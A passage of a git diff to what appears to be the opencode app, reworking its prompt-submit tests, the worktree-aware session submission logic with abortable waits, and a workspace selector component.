-    newSessionWorktree: () => selected,
-    onNewSessionWorktreeReset: () => undefined,
-    onSubmit: () => undefined,
-    ...overrides,
-  })
-
 describe("prompt submit worktree selection", () => {
-  test("admits only one concurrent new-workspace submission", async () => {
-    selected = "create"
-    let release = () => {}
-    createWorktreeGate = new Promise<void>((resolve) => {
-      release = resolve
+  test("reads the latest worktree accessor value per submit", async () => {
+    const submit = createPromptSubmit({
+      prompt,
+      info: () => undefined,
+      imageAttachments: () => [],
+      commentCount: () => 0,
+      autoAccept: () => false,
+      mode: () => "shell",
+      working: () => false,
+      editor: () => undefined,
+      queueScroll: () => undefined,
+      promptLength: (value) => value.reduce((sum, part) => sum + ("content" in part ? part.content.length : 0), 0),
+      addToHistory: () => undefined,
+      resetHistoryNavigation: () => undefined,
+      setMode: () => undefined,
+      setPopover: () => undefined,
+      newSessionWorktree: () => selected,
+      onNewSessionWorktreeReset: () => undefined,
+      onSubmit: () => undefined,
     })
-    const submit = makeSubmit()
 
-    const first = submit.handleSubmit(event)
-    const duplicate = submit.handleSubmit(event)
-    expect(worktreeCreates).toBe(1)
+    const event = { preventDefault: () => undefined } as unknown as Event
 
-    release()
-    await Promise.all([first, duplicate])
-    expect(createdSessions).toEqual([worktreeDirectory])
-    await settle()
+    await submit.handleSubmit(event)
+    selected = "/repo/worktree-b"
+    await submit.handleSubmit(event)
 
-    expect(worktreeCreates).toBe(1)
-    expect(createdSessions).toHaveLength(1)
-    expect(sentPrompts).toEqual([worktreeDirectory])
+    expect(createdClients).toEqual([])
+    expect(createdSessions).toEqual(["/repo/worktree-a", "/repo/worktree-b"])
+    expect(sessionCreateInputs).toEqual([
+      {
+        agent: "agent",
+        model: { id: "model", providerID: "provider", variant: undefined },
+        location: { directory: "/repo/worktree-a" },
+      },
+      {
+        agent: "agent",
+        model: { id: "model", providerID: "provider", variant: undefined },
+        location: { directory: "/repo/worktree-b" },
+      },
+    ])
+    expect(sentShell).toEqual([
+      expect.objectContaining({ sessionID: "session-1", id: expect.stringMatching(/^evt_/), command: "ls" }),
+      expect.objectContaining({ sessionID: "session-2", id: expect.stringMatching(/^evt_/), command: "ls" }),
+    ])
+    expect(syncedDirectories).toEqual(["/repo/worktree-a", "/repo/worktree-a", "/repo/worktree-b", "/repo/worktree-b"])
+    expect(serverSessionSyncs).toBe(0)
+    expect(promoted).toEqual([
+      { directory: "/repo/worktree-a", sessionID: "session-1" },
+      { directory: "/repo/worktree-b", sessionID: "session-2" },
+    ])
+    expect(syncedDirectories).toEqual(["/repo/worktree-a", "/repo/worktree-a", "/repo/worktree-b", "/repo/worktree-b"])
   })
 
-  test("keeps async submission effects bound to the initiating context", async () => {
-    search = { draftId: "draft-1" }
-    draftServers["draft-1"] = "project-server-a"
-    draftServers["draft-2"] = "project-server-b"
+  test("applies auto-accept to newly created sessions", async () => {
+    const submit = createPromptSubmit({
+      prompt,
+      info: () => undefined,
+      imageAttachments: () => [],
+      commentCount: () => 0,
+      autoAccept: () => true,
+      mode: () => "shell",
+      working: () => false,
+      editor: () => undefined,
+      queueScroll: () => undefined,
+      promptLength: (value) => value.reduce((sum, part) => sum + ("content" in part ? part.content.length : 0), 0),
+      addToHistory: () => undefined,
+      resetHistoryNavigation: () => undefined,
+      setMode: () => undefined,
+      setPopover: () => undefined,
+      newSessionWorktree: () => selected,
+      onNewSessionWorktreeReset: () => undefined,
+      onSubmit: () => undefined,
+    })
+
+    const event = { preventDefault: () => undefined } as unknown as Event
+
+    await submit.handleSubmit(event)
+
+    expect(enabledAutoAccept).toEqual([{ server: "server-a", sessionID: "session-1", directory: "/repo/worktree-a" }])
+  })
+
+  test("keeps auto-accept bound to the submission server", async () => {
     let release = () => {}
     createSessionGate = new Promise<void>((resolve) => {
       release = resolve
     })
-    let submitted = 0
-    const submit = makeSubmit({
-      onSubmit: () => submitted++,
+    const submit = createPromptSubmit({
+      prompt,
+      info: () => undefined,
+      imageAttachments: () => [],
+      commentCount: () => 0,
+      autoAccept: () => true,
+      mode: () => "shell",
+      working: () => false,
+      editor: () => undefined,
+      queueScroll: () => undefined,
+      promptLength: (value) => value.reduce((sum, part) => sum + ("content" in part ? part.content.length : 0), 0),
+      addToHistory: () => undefined,
+      resetHistoryNavigation: () => undefined,
+      setMode: () => undefined,
+      setPopover: () => undefined,
+      newSessionWorktree: () => selected,
+      onNewSessionWorktreeReset: () => undefined,
+      onSubmit: () => undefined,
     })
 
-    const result = submit.handleSubmit(event)
-    activeSDK = "server-b"
-    activeServerSync = "server-b"
-    activeDirectorySync = "server-b"
-    search.draftId = "draft-2"
+    const result = submit.handleSubmit({ preventDefault: () => undefined } as unknown as Event)
+    permissionServer = "server-b"
     release()
     await result
-    await settle()
 
-    expect(updatedDrafts).toEqual([{ draftID: "draft-1", worktree: undefined }])
-    expect(promotedDrafts).toEqual([{ draftID: "draft-1", server: "project-server-a", sessionId: "session-1" }])
-    expect(syncedServers.every((server) => server === "server-a")).toBe(true)
-    expect(optimisticServers).toEqual(["server-a"])
-    expect(promptCaptures.at(-1)?.target).toEqual({ server: "project-server-a", scope: ServerScope.local })
-    expect(submitted).toBe(0)
+    expect(enabledAutoAccept).toEqual([{ server: "server-a", sessionID: "session-1", directory: "/repo/worktree-a" }])
+  })
+
+  test("promotes drafts using the selected project's server", async () => {
+    search = { draftId: "draft-1" }
+    const submit = createPromptSubmit({
+      prompt,
+      info: () => undefined,
+      imageAttachments: () => [],
+      commentCount: () => 0,
+      autoAccept: () => false,
+      mode: () => "normal",
+      working: () => false,
+      editor: () => undefined,
+      queueScroll: () => undefined,
+      promptLength: (value) => value.reduce((sum, part) => sum + ("content" in part ? part.content.length : 0), 0),
+      addToHistory: () => undefined,
+      resetHistoryNavigation: () => undefined,
+      setMode: () => undefined,
+      setPopover: () => undefined,
+      newSessionWorktree: () => selected,
+      onNewSessionWorktreeReset: () => undefined,
+      onSubmit: () => undefined,
+    })
+
+    await submit.handleSubmit({ preventDefault: () => undefined } as unknown as Event)
+
+    expect(promotedDrafts).toEqual([{ draftID: "draft-1", server: "project-server", sessionId: "session-1" }])
   })
 
   test("switches the selected agent and model before prompting", async () => {
     params = { id: "session-1" }
     variant = "high"
 
-    const submit = makeSubmit({
+    const submit = createPromptSubmit({
+      prompt,
       info: () => ({
         id: "session-1",
         agent: "old-agent",
         model: { id: "old-model", providerID: "old-provider" },
       }),
+      imageAttachments: () => [],
+      commentCount: () => 0,
+      autoAccept: () => false,
+      mode: () => "normal",
+      working: () => false,
+      editor: () => undefined,
+      queueScroll: () => undefined,
+      promptLength: (value) => value.reduce((sum, part) => sum + ("content" in part ? part.content.length : 0), 0),
+      addToHistory: () => undefined,
+      resetHistoryNavigation: () => undefined,
+      setMode: () => undefined,
+      setPopover: () => undefined,
+      onSubmit: () => undefined,
     })
 
+    const event = { preventDefault: () => undefined } as unknown as Event
+
     await submit.handleSubmit(event)
     await Bun.sleep(0)
 
@@ -462,12 +519,24 @@ describe("prompt submit worktree selection", () => {
     commands.push({ name: "review" })
     promptValue = [{ type: "text", content: "/review staged changes", start: 0, end: 22 }]
 
-    const submit = makeSubmit({
+    const submit = createPromptSubmit({
+      prompt,
       info: () => ({ id: "session-1" }),
+      imageAttachments: () => [],
+      commentCount: () => 0,
+      autoAccept: () => false,
+      mode: () => "normal",
+      working: () => false,
+      editor: () => undefined,
+      queueScroll: () => undefined,
+      promptLength: (value) => value.reduce((sum, part) => sum + ("content" in part ? part.content.length : 0), 0),
+      addToHistory: () => undefined,
+      resetHistoryNavigation: () => undefined,
+      setMode: () => undefined,
+      setPopover: () => undefined,
     })
 
-    await submit.handleSubmit(event)
-    await settle()
+    await submit.handleSubmit({ preventDefault: () => undefined } as unknown as Event)
 
     expect(sentCommands).toEqual([
       {
@@ -483,19 +552,66 @@ describe("prompt submit worktree selection", () => {
     expect(serverSessionSyncs).toBe(0)
   })
 
-  test("sends an initial shell after synchronous workspace creation", async () => {
-    selected = "create"
-    const submit = makeSubmit({
-      mode: () => "shell",
+  test("uses an injected model selection", async () => {
+    params = { id: "session-1" }
+    const model = {
+      current: () => ({ id: "draft-model", provider: { id: "draft-provider" } }),
+      variant: { current: () => "draft-variant" },
+    } as unknown as ModelSelection
+    const submit = createPromptSubmit({
+      prompt,
+      info: () => ({ id: "session-1" }),
+      imageAttachments: () => [],
+      commentCount: () => 0,
+      autoAccept: () => false,
+      mode: () => "normal",
+      working: () => false,
+      editor: () => undefined,
+      queueScroll: () => undefined,
+      promptLength: (value) => value.reduce((sum, part) => sum + ("content" in part ? part.content.length : 0), 0),
+      addToHistory: () => undefined,
+      resetHistoryNavigation: () => undefined,
+      setMode: () => undefined,
+      setPopover: () => undefined,
+      model,
     })
 
-    await submit.handleSubmit(event)
-    await settle()
+    await submit.handleSubmit({ preventDefault: () => undefined } as unknown as Event)
 
-    expect(sentShellDirectories).toEqual([worktreeDirectory])
-    expect(sentShell[0]).toMatchObject({
-      sessionID: "session-1",
-      command: "ls",
+    expect(optimistic[0]).toMatchObject({
+      message: {
+        model: { providerID: "draft-provider", modelID: "draft-model", variant: "draft-variant" },
+      },
     })
   })
+
+  test("seeds new sessions before optimistic prompts are added", async () => {
+    const submit = createPromptSubmit({
+      prompt,
+      info: () => undefined,
+      imageAttachments: () => [],
+      commentCount: () => 0,
+      autoAccept: () => false,
+      mode: () => "normal",
+      working: () => false,
+      editor: () => undefined,
+      queueScroll: () => undefined,
+      promptLength: (value) => value.reduce((sum, part) => sum + ("content" in part ? part.content.length : 0), 0),
+      addToHistory: () => undefined,
+      resetHistoryNavigation: () => undefined,
+      setMode: () => undefined,
+      setPopover: () => undefined,
+      newSessionWorktree: () => selected,
+      onNewSessionWorktreeReset: () => undefined,
+      onSubmit: () => undefined,
+    })
+
+    const event = { preventDefault: () => undefined } as unknown as Event
+
+    await submit.handleSubmit(event)
+
+    expect(storedSessions["/repo/worktree-a"]).toHaveLength(1)
+    expect(storedSessions["/repo/worktree-a"]?.[0]).toMatchObject({ id: "session-1", title: "New session 1" })
+    expect(optimisticSeeded).toEqual([true])
+  })
 })

packages/app/src/components/prompt-input/submit.ts

@@ -15,6 +15,7 @@ import { type ContextItem, type ImageAttachmentPart, type Prompt, type usePrompt
 import { useSDK, type DirectorySDK } from "@/context/sdk"
 import { useSync, type DirectorySync } from "@/context/sync"
 import { Identifier } from "@/utils/id"
+import { Worktree as WorktreeState } from "@/utils/worktree"
 import { getDirectory } from "@opencode-ai/core/util/path"
 import { buildRequestParts } from "./build-request-parts"
 import { setCursorPosition } from "./editor-dom"
@@ -24,7 +25,12 @@ import { createPromptSubmissionState } from "./submission-state"
 import { Event } from "@opencode-ai/schema/event"
 import { blobDataUrl } from "@/utils/draft-store"
 
-const submitting = new Set<string>()
+type PendingPrompt = {
+  abort: AbortController
+  cleanup: VoidFunction
+}
+
+const pending = new Map<string, PendingPrompt>()
 
 export type FollowupDraft = {
   sessionID: string
@@ -44,6 +50,7 @@ type FollowupSendInput = {
   draft: FollowupDraft
   messageID?: string
   optimisticBusy?: boolean
+  before?: () => Promise<boolean> | boolean
 }
 
 const draftText = (prompt: Prompt) => prompt.map((part) => ("content" in part ? part.content : "")).join("")
@@ -63,11 +70,22 @@ export async function sendFollowupDraft(input: FollowupSendInput) {
     input.serverSync.session.set("session_status", input.draft.sessionID, { type: "idle" })
   }
 
+  const wait = async () => {
+    const ok = await input.before?.()
+    if (ok === false) return false
+    return true
+  }
+
   const [head, ...tail] = text.split(" ")
   const cmd = head?.startsWith("/") ? head.slice(1) : undefined
   if (cmd && input.sync.data.command.find((item) => item.name === cmd)) {
     setBusy()
     try {
+      if (!(await wait())) {
+        setIdle()
+        return false
+      }
+
       const messageID = Identifier.ascending("message")
       await input.api.command({
         sessionID: input.draft.sessionID,
@@ -141,6 +159,14 @@ export async function sendFollowupDraft(input: FollowupSendInput) {
   })
 
   try {
+    if (!(await wait())) {
+      batch(() => {
+        setIdle()
+        remove()
+      })
+      return false
+    }
+
     const session = input.session()
     if (session?.agent !== input.draft.agent) {
       await input.api.switchAgent({ sessionID: input.draft.sessionID, agent: input.draft.agent })
@@ -237,6 +263,8 @@ export function createPromptSubmit(input: PromptSubmitInput) {
   const params = useParams()
   const [search] = useSearchParams<{ draftId?: string }>()
   const tabs = useTabs()
+  const pendingKey = (sessionID: string) => ScopedKey.from(sdk().scope, sessionID)
+
   const errorMessage = (err: unknown) => {
     if (err && typeof err === "object" && "message" in err && typeof err.message === "string") return err.message
     if (err && typeof err === "object" && "data" in err) {
@@ -250,10 +278,19 @@ export function createPromptSubmit(input: PromptSubmitInput) {
   const abort = async () => {
     const sessionID = params.id
     if (!sessionID) return Promise.resolve()
+
     serverSync().session.set("todo", sessionID, [])
 
     input.onAbort?.()
 
+    const key = pendingKey(sessionID)
+    const queued = pending.get(key)
+    if (queued) {
+      queued.abort.abort()
+      queued.cleanup()
+      pending.delete(key)
+      return Promise.resolve()
+    }
     return sdk()
       .api.session.interrupt({ sessionID })
       .catch(() => {})
@@ -282,9 +319,9 @@ export function createPromptSubmit(input: PromptSubmitInput) {
     }
   }
 
-  const seed = (target: ServerSync, dir: string, info: SessionInfo) => {
-    target.session.remember(info)
-    const [, setStore] = target.child(dir)
+  const seed = (dir: string, info: SessionInfo) => {
+    serverSync().session.remember(info)
+    const [, setStore] = serverSync().child(dir)
     setStore("session", (list: SessionInfo[]) => {
       const result = Binary.search(list, info.id, (item) => item.id)
       const next = [...list]
@@ -316,6 +353,7 @@ export function createPromptSubmit(input: PromptSubmitInput) {
       if (input.working()) void abort()
       return
     }
+
     const modelSelection = input.model ?? local.model
     const currentModel = modelSelection.current()
     const currentAgent = local.agent.current()
@@ -328,252 +366,284 @@ export function createPromptSubmit(input: PromptSubmitInput) {
       return
     }
 
-    const submissionSDK = sdk()
-    const submissionSync = sync()
-    const submissionServerSync = serverSync()
-    const submissionScope = submissionSDK.scope
-    const projectDirectory = submissionSDK.directory
-    const sessionID = params.id
-    const isNewSession = !sessionID
-    const currentSession = input.info()
-    const draftID = search.draftId
-    const draftServer = draftID ? tabs.draft(draftID).server : undefined
-    const capturePrompt = prompt.capture
-    const localSession = local.session
-    const handoff = layout.handoff
-    const resetWorktree = input.onNewSessionWorktreeReset
-    const onSubmit = input.onSubmit
+    input.addToHistory(currentPrompt, mode)
+    input.resetHistoryNavigation()
+
+    const projectDirectory = sdk().directory
     const permissionState = permission.currentServerState()
+    const isNewSession = !params.id
     const shouldAutoAccept = isNewSession && input.autoAccept()
     const worktreeSelection = input.newSessionWorktree?.() || "main"
-    const submissionKey = ScopedKey.from(
-      submissionScope,
-      draftID ? `draft:${draftID}` : sessionID ? `session:${sessionID}` : `directory:${projectDirectory}`,
-    )
-    if (submitting.has(submissionKey)) return
-    submitting.add(submissionKey)
 
-    try {
-      input.addToHistory(currentPrompt, mode)
-      input.resetHistoryNavigation()
-
-      let sessionDirectory = projectDirectory
-      if (isNewSession) {
-        if (worktreeSelection === "create") {
-          const createdWorktree = await submissionSDK.api.projectCopy
-            .create({
-              projectID: submissionSync.data.project,
-              strategy: "git_worktree",
-              directory: getDirectory(projectDirectory),
-              location: { directory: projectDirectory },
-            })
-            .catch((err) => {
-              showToast({
-                title: language.t("prompt.toast.worktreeCreateFailed.title"),
-                description: errorMessage(err),
-              })
-              return undefined
-            })
-
-          if (!createdWorktree) return
-          await submissionSDK.api.location.get({ location: { directory: createdWorktree.directory } })
-          sessionDirectory = createdWorktree.directory
-        }
-
-        if (worktreeSelection !== "main" && worktreeSelection !== "create") {
-          sessionDirectory = worktreeSelection
-        }
-
-        if (sessionDirectory !== projectDirectory) {
-          submissionServerSync.child(sessionDirectory)
-        }
-      }
-
-      let session = currentSession
-      if (!session && isNewSession) {
-        const created = await submissionSDK.api.session
-          .create({
-            agent: currentAgent.name,
-            model: { id: currentModel.id, providerID: currentModel.provider.id, variant },
-            location: { directory: sessionDirectory },
+    let sessionDirectory = projectDirectory
+    if (isNewSession) {
+      if (worktreeSelection === "create") {
+        const createdWorktree = await sdk()
+          .api.projectCopy.create({
+            projectID: sync().data.project,
+            strategy: "git_worktree",
+            directory: getDirectory(projectDirectory),
+            location: { directory: projectDirectory },
           })
           .catch((err) => {
             showToast({
-              title: language.t("prompt.toast.sessionCreateFailed.title"),
+              title: language.t("prompt.toast.worktreeCreateFailed.title"),
               description: errorMessage(err),
             })
             return undefined
           })
-        if (created) {
-          seed(submissionServerSync, sessionDirectory, created)
-          session = created
-          await startTransition(() => {
-            if (!session) return
-            if (draftID) tabs.updateDraft(draftID, { worktree: undefined })
-            if (!draftID) resetWorktree?.()
-            if (shouldAutoAccept) permissionState.enableAutoAccept(session.id, sessionDirectory)
-            localSession.promote(sessionDirectory, session.id, {
-              agent: currentAgent.name,
-              model: { providerID: currentModel.provider.id, modelID: currentModel.id },
-              variant: variant ?? null,
-            })
-            handoff.setTabs(base64Encode(sessionDirectory), session.id)
-            if (draftID && draftServer) tabs.promoteDraft(draftID, { server: draftServer, sessionId: session.id })
-            else navigate(`/${base64Encode(sessionDirectory)}/session/${session.id}`)
-            submission.retarget(
-              capturePrompt(
-                { dir: base64Encode(sessionDirectory), id: session.id },
-                { server: draftServer, scope: submissionScope },
-              ),
-            )
+        if (!createdWorktree) return
+        WorktreeState.pending(sdk().scope, createdWorktree.directory)
+        sessionDirectory = createdWorktree.directory
+      }
+
+      if (worktreeSelection !== "main" && worktreeSelection !== "create") {
+        sessionDirectory = worktreeSelection
+      }
+
+      if (sessionDirectory !== projectDirectory) {
+        serverSync().child(sessionDirectory)
+      }
+
+      input.onNewSessionWorktreeReset?.()
+    }
+
+    let session = input.info()
+    if (!session && isNewSession) {
+      const created = await sdk()
+        .api.session.create({
+          agent: currentAgent.name,
+          model: { id: currentModel.id, providerID: currentModel.provider.id, variant },
+          location: { directory: sessionDirectory },
+        })
+        .catch((err) => {
+          showToast({
+            title: language.t("prompt.toast.sessionCreateFailed.title"),
+            description: errorMessage(err),
           })
-        }
-      }
-      if (!session) {
-        showToast({
-          title: language.t("prompt.toast.promptSendFailed.title"),
-          description: language.t("prompt.toast.promptSendFailed.description"),
+          return undefined
         })
-        return
-      }
-
-      const model = {
-        modelID: currentModel.id,
-        providerID: currentModel.provider.id,
-      }
-      const agent = currentAgent.name
-      const draft: FollowupDraft = {
-        sessionID: session.id,
-        sessionDirectory,
-        prompt: currentPrompt,
-        context,
-        agent,
-        model,
-        variant,
-      }
-
-      const clearInput = () => {
-        submission.clear()
-        input.setMode("normal")
-        input.setPopover(null)
-      }
-
-      const restoreInput = () => {
-        const restored = submission.restore()
-        if (!restored) return false
-        restored.target.set(restored.prompt, input.promptLength(restored.prompt))
-        if (!submission.current(prompt.capture())) return true
-        input.setMode(mode)
-        input.setPopover(null)
-        requestAnimationFrame(() => {
-          const editor = input.editor()
-          if (!editor) return
-          editor.focus()
-          setCursorPosition(editor, input.promptLength(currentPrompt))
-          input.queueScroll()
+      if (created) {
+        seed(sessionDirectory, created)
+        session = created
+        await startTransition(() => {
+          if (!session) return
+          if (shouldAutoAccept) permissionState.enableAutoAccept(session.id, sessionDirectory)
+          local.session.promote(sessionDirectory, session.id, {
+            agent: currentAgent.name,
+            model: { providerID: currentModel.provider.id, modelID: currentModel.id },
+            variant: variant ?? null,
+          })
+          layout.handoff.setTabs(base64Encode(sessionDirectory), session.id)
+          const draftID = search.draftId
+          if (draftID) tabs.promoteDraft(draftID, { server: tabs.draft(draftID).server, sessionId: session.id })
+          else navigate(`/${base64Encode(sessionDirectory)}/session/${session.id}`)
+          submission.retarget(prompt.capture({ dir: base64Encode(sessionDirectory), id: session.id }))
         })
-        return true
       }
+    }
+    if (!session) {
+      showToast({
+        title: language.t("prompt.toast.promptSendFailed.title"),
+        description: language.t("prompt.toast.promptSendFailed.description"),
+      })
+      return
+    }
 
-      if (!isNewSession && mode === "normal" && input.shouldQueue?.()) {
-        input.onQueue?.(draft)
-        clearContext(submission.target())
+    const model = {
+      modelID: currentModel.id,
+      providerID: currentModel.provider.id,
+    }
+    const agent = currentAgent.name
+    const draft: FollowupDraft = {
+      sessionID: session.id,
+      sessionDirectory,
+      prompt: currentPrompt,
+      context,
+      agent,
+      model,
+      variant,
+    }
+
+    const clearInput = () => {
+      submission.clear()
+      input.setMode("normal")
+      input.setPopover(null)
+    }
+
+    const restoreInput = () => {
+      const restored = submission.restore()
+      if (!restored) return false
+      restored.target.set(restored.prompt, input.promptLength(restored.prompt))
+      if (!submission.current(prompt.capture())) return true
+      input.setMode(mode)
+      input.setPopover(null)
+      requestAnimationFrame(() => {
+        const editor = input.editor()
+        if (!editor) return
+        editor.focus()
+        setCursorPosition(editor, input.promptLength(currentPrompt))
+        input.queueScroll()
+      })
+      return true
+    }
+
+    if (!isNewSession && mode === "normal" && input.shouldQueue?.()) {
+      input.onQueue?.(draft)
+      clearContext(submission.target())
+      clearInput()
+      return
+    }
+
+    input.onSubmit?.()
+
+    if (mode === "shell") {
+      clearInput()
+      const eventID = Event.ID.create()
+      sdk()
+        .api.session.shell({
+          sessionID: session.id,
+          id: eventID,
+          command: text,
+        })
+        .catch((err) => {
+          showToast({
+            title: language.t("prompt.toast.shellSendFailed.title"),
+            description: errorMessage(err),
+          })
+          restoreInput()
+        })
+      return
+    }
+
+    if (text.startsWith("/")) {
+      const [cmdName, ...args] = text.split(" ")
+      const commandName = cmdName.slice(1)
+      const customCommand = sync().data.command.find((c) => c.name === commandName)
+      if (customCommand) {
         clearInput()
-        return
-      }
-
-      if (!draftID || search.draftId === draftID) onSubmit?.()
-
-      if (mode === "shell") {
-        clearInput()
-        const eventID = Event.ID.create()
-        void submissionSDK.api.session
-          .shell({
+        const messageID = Identifier.ascending("message")
+        serverSync().session.set("session_status", session.id, { type: "busy" })
+        sdk()
+          .api.session.command({
             sessionID: session.id,
-            id: eventID,
-            command: text,
+            id: messageID,
+            command: commandName,
+            arguments: args.join(" "),
+            agent,
+            model: { id: model.modelID, providerID: model.providerID, variant },
+            files: await Promise.all(
+              images.map(async (attachment) => ({
+                uri: await blobDataUrl(attachment.blob, attachment.mime),
+                name: attachment.filename,
+              })),
+            ),
           })
           .catch((err) => {
+            serverSync().session.set("session_status", session.id, { type: "idle" })
             showToast({
-              title: language.t("prompt.toast.shellSendFailed.title"),
-              description: errorMessage(err),
+              title: language.t("prompt.toast.commandSendFailed.title"),
+              description: formatServerError(err, language.t, language.t("common.requestFailed")),
             })
             restoreInput()
           })
         return
       }
+    }
 
-      if (text.startsWith("/")) {
-        const [cmdName, ...args] = text.split(" ")
-        const commandName = cmdName.slice(1)
-        const customCommand = submissionSync.data.command.find((c) => c.name === commandName)
-        if (customCommand) {
-          clearInput()
-          const messageID = Identifier.ascending("message")
-          submissionServerSync.session.set("session_status", session.id, { type: "busy" })
-          void submissionSDK.api.session
-            .command({
-              sessionID: session.id,
-              id: messageID,
-              command: commandName,
-              arguments: args.join(" "),
-              agent,
-              model: { id: model.modelID, providerID: model.providerID, variant },
-              files: await Promise.all(
-                images.map(async (attachment) => ({
-                  uri: await blobDataUrl(attachment.blob, attachment.mime),
-                  name: attachment.filename,
-                })),
-              ),
-            })
-            .catch((err) => {
-              submissionServerSync.session.set("session_status", session.id, { type: "idle" })
-              showToast({
-                title: language.t("prompt.toast.commandSendFailed.title"),
-                description: formatServerError(err, language.t, language.t("common.requestFailed")),
-              })
-              restoreInput()
-            })
-          return
-        }
-      }
+    const commentItems = context.filter((item) => item.type === "file" && !!item.comment?.trim())
+    const messageID = Identifier.ascending("message")
 
-      const commentItems = context.filter((item) => item.type === "file" && !!item.comment?.trim())
-      const messageID = Identifier.ascending("message")
-
-      const removeOptimisticMessage = () => {
-        submissionSync.session.optimistic.remove({
-          directory: sessionDirectory,
-          sessionID: session.id,
-          messageID,
-        })
-      }
-
-      for (const item of commentItems) submission.target().context.remove(item.key)
-      clearInput()
-
-      void sendFollowupDraft({
-        api: submissionSDK.api.session,
-        sync: submissionSync,
-        serverSync: submissionServerSync,
-        session: () => session,
-        draft,
+    const removeOptimisticMessage = () => {
+      sync().session.optimistic.remove({
+        directory: sessionDirectory,
+        sessionID: session.id,
         messageID,
-        optimisticBusy: sessionDirectory === projectDirectory,
-      }).catch((err) => {
+      })
+    }
+
+    for (const item of commentItems) submission.target().context.remove(item.key)
+    clearInput()
+
+    const waitForWorktree = async () => {
+      const worktree = WorktreeState.get(sdk().scope, sessionDirectory)
+      if (!worktree || worktree.status !== "pending") return true
+
+      if (sessionDirectory === projectDirectory) {
+        sync().set("session_status", session.id, { type: "busy" })
+      }
+
+      const controller = new AbortController()
+      const cleanup = () => {
         if (sessionDirectory === projectDirectory) {
-          submissionSync.set("session_status", session.id, { type: "idle" })
+          sync().set("session_status", session.id, { type: "idle" })
         }
-        showToast({
-          title: language.t("prompt.toast.promptSendFailed.title"),
-          description: errorMessage(err),
-        })
         removeOptimisticMessage()
         if (restoreInput()) restoreCommentItems(submission.target(), commentItems)
+      }
+
+      pending.set(pendingKey(session.id), { abort: controller, cleanup })
+
+      const abortWait = new Promise<Awaited<ReturnType<typeof WorktreeState.wait>>>((resolve) => {
+        if (controller.signal.aborted) {
+          resolve({ status: "failed", message: "aborted" })
+          return
+        }
+        controller.signal.addEventListener(
+          "abort",
+          () => {
+            resolve({ status: "failed", message: "aborted" })
+          },
+          { once: true },
+        )
       })
-    } finally {
-      submitting.delete(submissionKey)
+
+      const timeoutMs = 5 * 60 * 1000
+      const timer = { id: undefined as number | undefined }
+      const timeout = new Promise<Awaited<ReturnType<typeof WorktreeState.wait>>>((resolve) => {
+        timer.id = window.setTimeout(() => {
+          resolve({
+            status: "failed",
+            message: language.t("workspace.error.stillPreparing"),
+          })
+        }, timeoutMs)
+      })
+
+      const result = await Promise.race([
+        WorktreeState.wait(sdk().scope, sessionDirectory),
+        abortWait,
+        timeout,
+      ]).finally(() => {
+        if (timer.id === undefined) return
+        clearTimeout(timer.id)
+      })
+      pending.delete(pendingKey(session.id))
+      if (controller.signal.aborted) return false
+      if (result.status === "failed") throw new Error(result.message)
+      return true
     }
+
+    void sendFollowupDraft({
+      api: sdk().api.session,
+      sync: sync(),
+      serverSync: serverSync(),
+      session: () => input.info() ?? session,
+      draft,
+      messageID,
+      optimisticBusy: sessionDirectory === projectDirectory,
+      before: waitForWorktree,
+    }).catch((err) => {
+      pending.delete(pendingKey(session.id))
+      if (sessionDirectory === projectDirectory) {
+        sync().set("session_status", session.id, { type: "idle" })
+      }
+      showToast({
+        title: language.t("prompt.toast.promptSendFailed.title"),
+        description: errorMessage(err),
+      })
+      removeOptimisticMessage()
+      if (restoreInput()) restoreCommentItems(submission.target(), commentItems)
+    })
   }
 
   return {

packages/app/src/components/prompt-workspace-selector.tsx

@@ -1,7 +1,8 @@
-import { createMemo, createSignal, For, Show } from "solid-js"
+import { For, Show } from "solid-js"
 import { MenuV2 } from "@opencode-ai/ui/v2/menu-v2"
 import { TooltipV2 } from "@opencode-ai/ui/v2/tooltip-v2"
-import { Icon } from "@opencode-ai/ui/v2/icon"
+import { Icon } from "@opencode-ai/ui/icon"
+import { Icon as IconV2 } from "@opencode-ai/ui/v2/icon"
 import { getFilename } from "@opencode-ai/core/util/path"
 import { useLanguage } from "@/context/language"
 
@@ -10,42 +11,25 @@ export function PromptWorkspaceSelector(props: {
   projectRoot: string
   workspaces: string[]
   branch?: string
-  onboarding?: boolean
   onChange: (value: string) => void
   onDone: () => void
-  onViewAll: () => void
 }) {
   const language = useLanguage()
-  const [search, setSearch] = createSignal("")
-  let searchInput: HTMLInputElement | undefined
-  let focusSearch = false
-  let pending: { type: "select"; value: string } | { type: "viewAll" } | undefined
+  let pending: string | undefined
   const selected = () => (props.value === props.projectRoot ? "main" : props.value)
-  const workspaces = createMemo(() => {
-    const query = search().trim().toLowerCase()
-    if (!query) return props.workspaces
-    return props.workspaces.filter((workspace) => getFilename(workspace).toLowerCase().includes(query))
-  })
   const icon = () => {
     if (selected() === "main") return "monitor"
     if (selected() === "create") return "workspace-new"
-    return "workspace-isolated"
+    return "workspace"
   }
   const select = (value: string) => {
-    pending = { type: "select", value }
+    pending = value
   }
   const onOpenChange = (open: boolean) => {
-    if (open) {
-      setSearch("")
-      return
-    }
-    const action = pending
+    if (open) return
+    const value = pending
     pending = undefined
-    if (action?.type === "select") props.onChange(action.value)
-    if (action?.type === "viewAll") {
-      props.onViewAll()
-      return
-    }
+    if (value) props.onChange(value)
     props.onDone()
   }
   const label = () => {
@@ -57,214 +41,87 @@ export function PromptWorkspaceSelector(props: {
   return (
     <>
       <span class="hidden select-none opacity-50 sm:inline mx-1">/</span>
-      <TooltipV2
-        placement="top"
-        openDelay={800}
-        value={
-          props.onboarding ? (
-            <div class="flex flex-col gap-1 text-start">
-              <div class="flex items-center gap-1.5 font-[530] text-v2-text-text-base">
-                <Icon name="workspace-isolated" size="small" class="shrink-0 text-v2-text-text-accent" />
-                <span>{language.t("workspace.onboarding.title")}</span>
-              </div>
-              <span class="font-[440] text-v2-text-text-muted">{language.t("workspace.onboarding.description")}</span>
-            </div>
-          ) : (
-            language.t("session.new.workspace.trigger.tooltip")
-          )
-        }
-        contentClass={props.onboarding ? "max-w-[280px]" : undefined}
-        class="min-w-0"
-      >
-        <MenuV2 placement="bottom" gutter={4} onOpenChange={onOpenChange}>
-          <MenuV2.Trigger
-            aria-description={language.t("session.new.workspace.trigger.tooltip")}
-            class="flex h-6 min-w-0 max-w-[203px] items-center gap-1.5 rounded-sm px-1.5 hover:bg-v2-overlay-simple-overlay-hover focus-visible:bg-v2-overlay-simple-overlay-hover focus-visible:outline-none data-[expanded]:bg-v2-overlay-simple-overlay-pressed data-[expanded]:text-v2-text-text-muted"
-          >
